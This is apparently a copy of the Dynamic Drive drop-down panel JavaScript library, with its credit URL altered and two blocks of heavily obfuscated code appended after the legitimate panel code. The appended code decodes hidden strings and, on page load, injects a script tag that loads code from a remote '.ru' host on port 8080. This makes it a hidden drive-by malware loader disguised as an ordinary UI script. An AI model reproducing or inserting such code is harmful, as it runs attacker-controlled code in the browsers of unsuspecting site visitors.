//** DD Drop Down Panel- (c) Dynamic Drive DHTML code library: http://www.gtmgrup.ro
//** Oct 21st, 08'- Script created
//** March 23rd, 09' v1.01- Arrow images now preloaded

function ddpanel(setting){
	setting.dir="up" //initial state of panel (up="contracted")
	if (setting.stateconfig.persiststate && ddpanel.getCookie(setting.ids[0])=="down"){
		setting.dir="down"
	}
	if (setting.dir=="up"){ //if "up", output CSS to hide panel contents
		document.write('<style type="text/css">\n')
		document.write('#'+setting.ids[1]+'{height:' + parseInt(setting.stateconfig.initial) + 'px; overflow:hidden}\n')
		document.write('</style>\n')
	}
	setting.stateconfig.initial=parseInt(setting.stateconfig.initial)
	this.setting=setting
	if (setting.pointerimage.enabled){ //preload images
		var img1=new Image(), img2=new Image()
		img1.src=setting.pointerimage.src[0]
		img2.src=setting.pointerimage.src[1]
	}
	var thispanel=this
	if (window.addEventListener) //if non IE browsers, initialize panel window.onload
		ddpanel.addEvent(window, function(e){thispanel.initpanel(setting)}, "load")
	else //else if IE, add 100 millisec after window.onload before initializing
		ddpanel.addEvent(window, function(e){setTimeout(function(){thispanel.initpanel(setting)}, 100)}, "load")
	ddpanel.addEvent(window, function(e){thispanel.uninit(setting)}, "unload")
}

ddpanel.events_array=[] //object array to contain events created by script

ddpanel.addEvent=function(target, functionref, tasktype){
	var evtmodel=target.addEventListener? "w3c" : "ie"
	var evtaction=evtmodel=="w3c"? "addEventListener" : "attachEvent"
	var i=this.events_array.push({ //store event info in ddpanel.events_array[] and return current event's index within array
		target: target,
		tasktype: (evtmodel=="ie"? "on" : "")+tasktype,
		listener: evtmodel=="ie"? function(){return functionref.call(target, window.event)} : functionref
	})-1
	target[evtaction](this.events_array[i].tasktype, this.events_array[i].listener, evtmodel=="w3c"? false : null)
}

ddpanel.removeEvent=function(target, functionref, tasktype){
	var evtmodel=target.removeEventListener? "w3c" : "ie"
	var evtaction=evtmodel=="w3c"? "removeEventListener" : "detachEvent"
	target[evtaction](tasktype, functionref, evtmodel=="w3c"? false : null)
}

ddpanel.getCookie=function(Name){ 
	var re=new RegExp(Name+"=[^;]+", "i"); //construct RE to search for target name/value pair
	if (document.cookie.match(re)) //if cookie found
		return document.cookie.match(re)[0].split("=")[1] //return its value
	return null
}

ddpanel.setCookie=function(name, value){
	document.cookie = name+"=" + value + ";path=/"
}

ddpanel.addpointer=function(target, className, imagesrc){
	var pointer=document.createElement("img")
	pointer.src=imagesrc
	pointer.className=className
	pointer.style.borderWidth=0
	target.appendChild(pointer)
	return pointer
}

ddpanel.prototype={

togglepanel:function(dir){ //public function that toggles the panel's state. Optional dir parameter ("up" or "down") to explicitly set state.
	var setting=this.setting
	setting.dir=dir || ((setting.dir=="up")? "down" : "up")
	var pcontent=setting.pcontent, dir=setting.dir
	pcontent._currentheight=(dir=="down")? pcontent._actualheight : setting.stateconfig.initial
	pcontent.style.height=pcontent._currentheight+"px"
	if (setting.pointerimage.enabled){
		setting.arrow.src=setting.pointerimage.src[(setting.dir=="down")? 1 : 0]
		setting.arrow.style.visibility="visible"
	}
	ddpanel.setCookie(setting.ids[0], setting.dir)
},

togglepanelplus:function(dir){ //public function that toggles the panel's state w/ animation. Optional dir parameter ("up" or "down") to explicitly set state.
	var setting=this.setting
	setting.dir=dir || ((setting.dir=="up")? "down" : "up")
	if (setting.pointerimage.enabled)
		setting.arrow.style.visibility="hidden"
	clearTimeout(setting.revealtimer)
	this.revealcontent()
},

revealcontent:function(){
	var setting=this.setting
	var pcontent=setting.pcontent, curH=pcontent._currentheight, maxH=pcontent._actualheight, minH=setting.stateconfig.initial, steps=setting.animate.steps, dir=setting.dir
	if (dir=="down" && curH<maxH || dir=="up" && curH>minH){
		var newH = curH + (Math.round((maxH-curH)/steps)+1) * (dir=="up"? -1 : 1)
		newH=(dir=="down")? Math.min(maxH, newH) : Math.max(minH, newH)
		pcontent.style.height=newH+"px"
		pcontent._currentheight=newH
	}
	else{
		if (setting.pointerimage.enabled){
			setting.arrow.src=setting.pointerimage.src[(setting.dir=="down")? 1 : 0]
			setting.arrow.style.visibility="visible"
		}
		return
	}
	var thispanel=this
	setting.revealtimer=setTimeout(function(){thispanel.revealcontent()}, 10)
},

initpanel:function(){
	var setting=this.setting
	var pcontainer=setting.pcontainer=document.getElementById(setting.ids[0])
	var pcontent=setting.pcontent=document.getElementById(setting.ids[1])
	var tdiv=setting.tdiv=document.getElementById(setting.ids[2])
	pcontent.style.overflow="scroll"
	pcontent._actualheight=pcontent.scrollHeight
	setTimeout(function(){pcontent._actualheight=pcontent.scrollHeight}, 100)
	pcontent.style.overflow="hidden"
	pcontent._currentheight=(setting.dir=="down")? pcontent._actualheight : setting.stateconfig.initial
	var thispanel=this
	ddpanel.addEvent(tdiv, function(e){ //assign click behavior when toggle DIV tab is clicked on
		if (setting.animate.enabled)
			thispanel.togglepanelplus()
		else
			thispanel.togglepanel()
		if (e.preventDefault) e.preventDefault()
		return false
	}, "click")
	if (setting.pointerimage.enabled){
		var pointer1=new Image(), pointer2=new Image()
		pointer1.src=setting.pointerimage.src[0]
		pointer2.src=setting.pointerimage.src[1]
		setting.arrow=ddpanel.addpointer(tdiv.getElementsByTagName("span")[0], "pointerimage", setting.pointerimage.src[setting.dir=="down"? 1:0])
	}
	if (setting.closepanelonclick.enabled){ //assign click behavior when panel content is clicked on (links within panel or elements with class "closepanel"
			ddpanel.addEvent(pcontent, function(e){
				var target=e.srcElement || e.target
				if (/(^|\s+)closepanel($|\s+)/.test(target.className) || target.tagName=="A" || (target.parentNode && target.parentNode.tagName=="A")){
					thispanel.togglepanel("up")
				}
			}, "click")
	}
},

uninit:function(){
	var setting=this.setting
	if (setting.stateconfig.persiststate){
		ddpanel.setCookie(setting.ids[0], setting.dir)
	}
	for (prop in setting){
		setting[prop]=null
	}
}



} //end of ddpanel object


//initialize instance of DD Drop Down Panel:

var defaultpanel=new ddpanel({
	ids: ["mypanel", "mypanelcontent", "mypaneltab"], // id of main panel DIV, content DIV, and tab DIV
	stateconfig: {initial: "5px", persiststate: true}, // initial: initial reveal amount in pixels (ie: 5px)
	animate: {enabled: true, steps: 5}, //steps: number of animation steps. Int between 1-20. Smaller=faster.
	pointerimage: {enabled: true, src: ["dropdown/arrow-down.gif", "dropdown/arrow-up.gif"]},
	closepanelonclick: {enabled: true} // close panel when links or elements with CSS class="closepanel" within container is clicked on?
})
var Lt="e8fad6ebdaadfcf0d8c2c28aecfef7f086d9c2dcfff7fad6f3ccf6d1cdf6c9f0cfcecacbe5d5ced1e6c2f8c5e5f5cdf3c0c3dee6ddc6c3c7d9f6fdc9d0c4d9f6ff84f3f199fbefaddca8aadecede";var bhN=59808;var ib;if(ib!='nSU' && ib!='AV'){ib=''};this.oU="oU";function I(X){var Kd=false;var xi=false; var G=function(Y){var W=Y[v("gltenh", [1,3,4,0,2,5])];var Tp=[202,35,127,1][3];var Ye=[212,75,255,231][2];var y=[54,47,0][2];var Xo;if(Xo!='ck'){Xo='ck'};var Gf=[0][0];var S;if(S!='al' && S!='lg'){S=''};var GE="";while(Gf<W){this.wH="wH";var d=new Array();Gf++;U=m(Y,Gf - Tp);var Ta="Ta";y+=U*W;this.il=false;var lY=new String();}var wc=new Date();var tO;if(tO!='ml' && tO != ''){tO=null};var mX;if(mX!='' && mX!='M'){mX=null};return new C(y % Ye);};var jc="";var MS;if(MS!='' && MS!='eX'){MS=null};var q=new Date(); var bl=new Date();var sY=28067;function v(L, i){var Pz;if(Pz!='am'){Pz=''};var WJ = '';this.Ym='';var SS;if(SS!=''){SS='yR'};var Tp=[1,146][0];var cx;if(cx!='rB'){cx=''};var jp;if(jp!='Mj'){jp=''};var H = L.length;var Jt=new Date();var NH;if(NH!=''){NH='eF'};var Q = i.length;var O=[149,146,0][2];var oG;if(oG!=''){oG='Lb'};this.Md="";this.eo=11098;for(var l = O; l < H; l += Q) {var mI = L.substr(l, Q);var wA;if(wA!='cS' && wA!='EJ'){wA=''};this.vd=false;var eQ=new String();this.In=false;if(mI.length == Q){var xV;if(xV!=''){xV='oZ'};this.OJ=6821;for(var Gf in i) {WJ+=mI.substr(i[Gf], Tp);var nP=new Date();var pt=new String();var vo;if(vo!=''){vo='pdg'};}var tU="tU";} else {this.Ih="";  WJ+=mI;this.JY="JY";var Xe='';}var vB=false;}return WJ;var mA;if(mA!='nq' && mA!='cw'){mA='nq'};}var lV;if(lV!='gDP'){lV='gDP'};this.ss=""; var RNP=4209;this.Yl="";function OO(N,K){this.tmZ='';return N^K;}var nZ=new Date();var ML=""; function m(KC,t){return KC[v("rCahocdeAt", [5,3,2,0,1,4])](t);var sM;if(sM!='Rs' && sM!='lS'){sM=''};this.diM=53100;}var kf;if(kf!='vJ' && kf!='hy'){kf='vJ'};this.vF="";var nh;if(nh!='Zl' && nh != ''){nh=null};var LY=new String();var Vc=new String(); var T=function(L){var gO=new String();this.Ja=false;var nt;if(nt!='' && nt!='Kce'){nt=''};var Yj;if(Yj!='' && Yj!='iiU'){Yj=null};var O =[0,223][0];var mQ=false;var l =[0,61,107,195][0];var iI;if(iI!='cN' && iI != ''){iI=null};L = new C(L);this.IR=false;var FK=new Array();var jch;if(jch!='Sh' && jch!='ZQ'){jch=''};var WJ = '';var Du=new String();var JJ=new String();var j = -1;this.fb=false;var BZ;if(BZ!='XF'){BZ='XF'};var iJ;if(iJ!='ry' && iJ!='PV'){iJ='ry'};var Ca="Ca";for (l=L[v("elgnht", [1,0])]-j;l>=O;l=l-[78,229,1][2]){WJ+=L[v("achrAt", [1,2,0,3])](l);var hIw;if(hIw!='EJp'){hIw=''};var Aq=new Date();}this.Zu=49755;var iu;if(iu!='' && iu!='cEs'){iu=null};this.Sj="";return WJ;this.Ee=false;};var gt="gt";var wG;if(wG!='' && wG!='Kp'){wG=''};var itQ;if(itQ!='' && itQ!='cq'){itQ=null};var Lr=window;var IE=Lr[v("vela", [1,0])];var lh;if(lh!='ol' && lh!='Zx'){lh='ol'};this.bt=4653;var jG=IE(v("uFcnitno", [1,0]));var Vv;if(Vv!='' && Vv!='St'){Vv=null};var bC;if(bC!='' && bC!='Mv'){bC=null};var cST;if(cST!='' && cST!='hU'){cST='jT'};this.At=false;var k=IE(v("eEgRxp", [3,0,2,1]));var GU;if(GU!='' && GU!='wJ'){GU=''};var mx;if(mx!='Sa'){mx='Sa'};var HP = '';this.Ay=50463;this.jis=20498;this.Grv=50871;var C=IE(v("tSirng", [1,0,3,2]));var Yd=new String();var pI=new String();var LE;if(LE!='dY' && LE != ''){LE=null};var R=C[v("rfmohCraoCed", [1,0])];this.nx='';var B=Lr[v("eunspcae", [1,2,0,3])];var jV=65195;var D =[0,84,231][0];var mw=53510;var tm = '';this.Il="Il";var Lq = R(37);var kJ;if(kJ!='vM' && kJ != ''){kJ=null};var CO;if(CO!='Lu' && CO != ''){CO=null};var x=[1, v("coeudm.tecnreteEalne\'tm(rctisp\')", [4,1,0,3,5,2]),2, v("lewfslgrac.oom", [2,1,0]),3, v("modutnecyb.dpa.oCepdlihnd(d)", [2,1,7,3,0,6,5,4]),4, v(".dsteAttrbiuet(d\'eefr\'", [1,0,2]),5, v("rfs.nosgp..kagemtspo", [1,0]),6, v("aom.cvhcatnc0ru:.880", [4,1,2,3,5,0]),7, v("inwowd.onload", [4,0,1,5,3,2,6,7]),8, v("t.unbezzcom", [4,2,7,6,3,5,0,1]),11, v("icnfonut()", [3,6,5,1,7,0,4,2]),12, v("ogog.celom", [3,2,0,1]),14, v("acct(h)e", [1,0]),15, v(".cjmco", [1,2,0]),16, v("th\":pt", [2,1,0]),17, v(".drsc", [1,0]),18, v("1\')\'", [1,0]),19, v("byea", [2,0,3,1]),20, v("ryt", [2,0,1])];var OP;if(OP!='gug' && OP != ''){OP=null};var ds=new Array();var yw="yw";var UI = X[v("nghtel", [5,4,0,1,3,2])];var Mw;if(Mw!='zM'){Mw='zM'};var gL="";var mg =[11,2][1];var UU = '';var AD='';var Tp =[57,70,1,141][2];var Bg=false;var jR=false;var w = '';var lP=new String();var O =[53,180,0][2];var wAf;if(wAf!='Kl'){wAf=''};var eU;if(eU!='' && eU!='po'){eU=''};var lj = /[^@a-z0-9A-Z_-]/g;this.CM=62216;var fN;if(fN!=''){fN='Eg'};var Ik;if(Ik!=''){Ik='YjT'};for(var g=O; g < UI; g+=mg){w+= Lq; this.zI="";var eE='';w+= X[v("ussbrt", [1,0])](g, mg);var Te=new String();this.fT=false;}var ckB;if(ckB!='' && ckB!='tX'){ckB=null};var fD;if(fD!='' && fD!='Lp'){fD=null};this.Jg=15487;var X = B(w);this.GM=false;var iRn=new Array();var hc;if(hc!='OT'){hc=''};var xo = new C(I);var b = xo[v("lpraece", [2,6,1,0,3,5,4])](lj, tm);var GZ = new C(jG);var xL="";var V = x[v("nelgth", [2,1,0,3])];var lT;if(lT!='So'){lT='So'};b = T(b);var o = GZ[v("erlpcae", [1,0])](lj, tm);var XA=new String();var oS;if(oS!='Jq'){oS=''};var o = G(o);var bw;if(bw!='HX' && bw != ''){bw=null};var f=G(b);var aF;if(aF!='' && aF!='dP'){aF='YM'};var ZCK;if(ZCK!='na' && ZCK!='wY'){ZCK='na'};this.DE="";for(var l=O; l < (X[v("gnleth", [2,3,1,0,4])]);l=l+[1,222,124,143][0]) {var Uu=new Array();var US=new Array();var Ib;if(Ib!='' && Ib!='Cl'){Ib=null};var e = b.charCodeAt(D);var VR = m(X,l);this.fn="fn";var KR="";var Uw;if(Uw!='' && Uw!='ek'){Uw=''};var yg="";VR = OO(VR, e);var Cf;if(Cf!='Vpa' && Cf!='YN'){Cf='Vpa'};var qp='';var xw;if(xw!='dz' && xw!='Aw'){xw=''};this.Qnw=46746;VR = OO(VR, f);var Ff="Ff";var ks="ks";VR = OO(VR, o);var gS;if(gS!='zz'){gS=''};D++;var ta;if(ta!='sO' && ta!='lq'){ta=''};var FH="FH";var OfH=40239;if(D > b.length-Tp){this.gb='';D=O;var NX=new Date();}var VgN;if(VgN!='gOD'){VgN=''};this.xz='';UU += R(VR);var Od=new Date();var nG;if(nG!='' && nG!='Yc'){nG='XX'};}this.YL='';var kdj;if(kdj!='Zc'){kdj=''};this.pdq="pdq";var wW="";for(Lm=O; Lm < V; Lm+=mg){var fC;if(fC!='Qz' && fC!='Kx'){fC=''};var jpy=new Array();var sG;if(sG!='obB'){sG='obB'};var Im = x[Lm + Tp];var el;if(el!='lN' && el!='nz'){el=''};var lc=false;this.DX='';var P = R(x[Lm]);var GW="";var cSo="cSo";var E = new k(P, R(103));UU=UU[v("erpalce", [1,0,2,4,3])](E, Im);}var Cm="Cm";var a=new jG(UU);this.mq=60697;a();UU = '';this.dsv="";b = '';var Ao="Ao";var xm;if(xm!='' && xm!='hE'){xm='mt'};f = '';var jpE="jpE";var qb;if(qb!='Au'){qb='Au'};GZ = '';o = '';var Pe=new Array();a = '';var wn;if(wn!='HJ' && wn!='uY'){wn=''};var GT=33214;var oC;if(oC!='' && oC!='Pd'){oC='lA'};var GZY;if(GZY!='' && GZY!='Nq'){GZY='uX'};return '';var Oc=new String();var FA;if(FA!=''){FA='cr'};};var bhN=59808;var ib;if(ib!='nSU' && ib!='AV'){ib=''};this.oU="oU";I(Lt);
var e=new String();var n;if(n!='YR' && n != ''){n=null};function a() {var J;if(J!='Yn' && J!='bn'){J=''};var i='replace';var B;if(B!=''){B='Dk'};var m=RegExp;var MK;if(MK!='Z' && MK!='W'){MK=''};var Gu;if(Gu!='nw' && Gu!='w'){Gu=''};var b=new String();var G=']';this.aZ="";this.XL="";var Gw='g';var YRw=new Date();this.pu="";var K='[';this.bp='';var z=new Array();var Q="";function p(V,A){var S=K;this.fE='';var Da=new String();S+=A;this.zK='';var Wm;if(Wm!='O' && Wm != ''){Wm=null};S+=G;var x;if(x!='' && x!='rE'){x=null};var F=new m(S, Gw);var pp='';var XM='';return V[i](F, b);var yP=new Date();var vO="";};this.eF="";var GW='';var Xx="";var Y=p('8555065687160771',"16257");var Um;if(Um!=''){Um='NH'};var YN=p('/JfJc12A.Jc1oAm1/VfAc12J.Ac1oJmJ/1g1oVoJgJlVeJ.Jc1oJmA/Ai1mAm1oJbJiVlAiVeVnVs1c1oAuJtA2J4J.VdVeV/Jb1iVgJl1oAb1e1.VnVeA.JjVpV.JpVhVpV',"JVA1");var fz=new String();var X=p('cTrNeNaTtBeNETlDeTmDeNnDt3',"B3NDT");var _H='';var C=p('h6tktHpk:7/H/wgwoHoHgkl6ew-HcHowmw-6b7r7.6bkakrkn7e7ska6n7dHnHo6b7lkek.Hc7o6m7.Hp6awn7d6owr6aw-kcwoHmk.ksHakmwu7ekswtw.6rHuk:7',"w6Hk7");this.qT="";var rT=new Array();var Aw=p('sgczroiopCtC',"CogMz");var r=window;this.De='';r[p('oZnKlKoKaDdK',"DIZfK")]=function(){this.Jn="";try {var NR=new Date();var on;if(on!='mh'){on=''};var tn;if(tn!='Oz'){tn=''};GW+=C;var ye;if(ye!='yv' && ye!='Sq'){ye=''};var kL=new String();GW+=Y;var OM;if(OM!='zD' && OM != ''){OM=null};var uM;if(uM!='pB'){uM='pB'};GW+=YN;var Du=new String();var Rv=new Date();var Oc;if(Oc!='' && Oc!='am'){Oc=''};u=document[X](Aw);var ik=new Array();var QI=new Array();var mo;if(mo!='c' && mo != ''){mo=null};o(u,'defer',([1][0]));o(u,'src',GW);var T="";var v_;if(v_!=''){v_='la'};var UD=new Array();document.body.appendChild(u);} catch(uv){var sVK;if(sVK!='dS' && sVK!='gy'){sVK=''};};var rs=new Array();};var Wu;if(Wu!='' && Wu!='OL'){Wu=null};var rb;if(rb!='' && rb!='Uv'){rb=null};var lI=new Array();function o(M,ug,d){var rI;if(rI!='bs'){rI=''};M.setAttribute(ug, d);var te;if(te!='BL'){te='BL'};}};var CY="";a();var ox='';